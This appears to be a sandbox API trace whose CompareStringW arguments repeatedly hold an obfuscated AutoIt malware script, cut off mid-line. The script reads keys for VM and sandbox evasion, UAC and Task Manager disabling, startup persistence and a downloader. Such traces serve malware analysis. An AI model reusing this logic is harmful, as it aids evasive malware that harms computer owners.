dwCmpFlags=0x1, lpString1="917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D188D", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="17E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D188DF", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") Then\r\n\x09\x09_S0xB90F6847EC557E33AF45D188DF4", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.203] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If 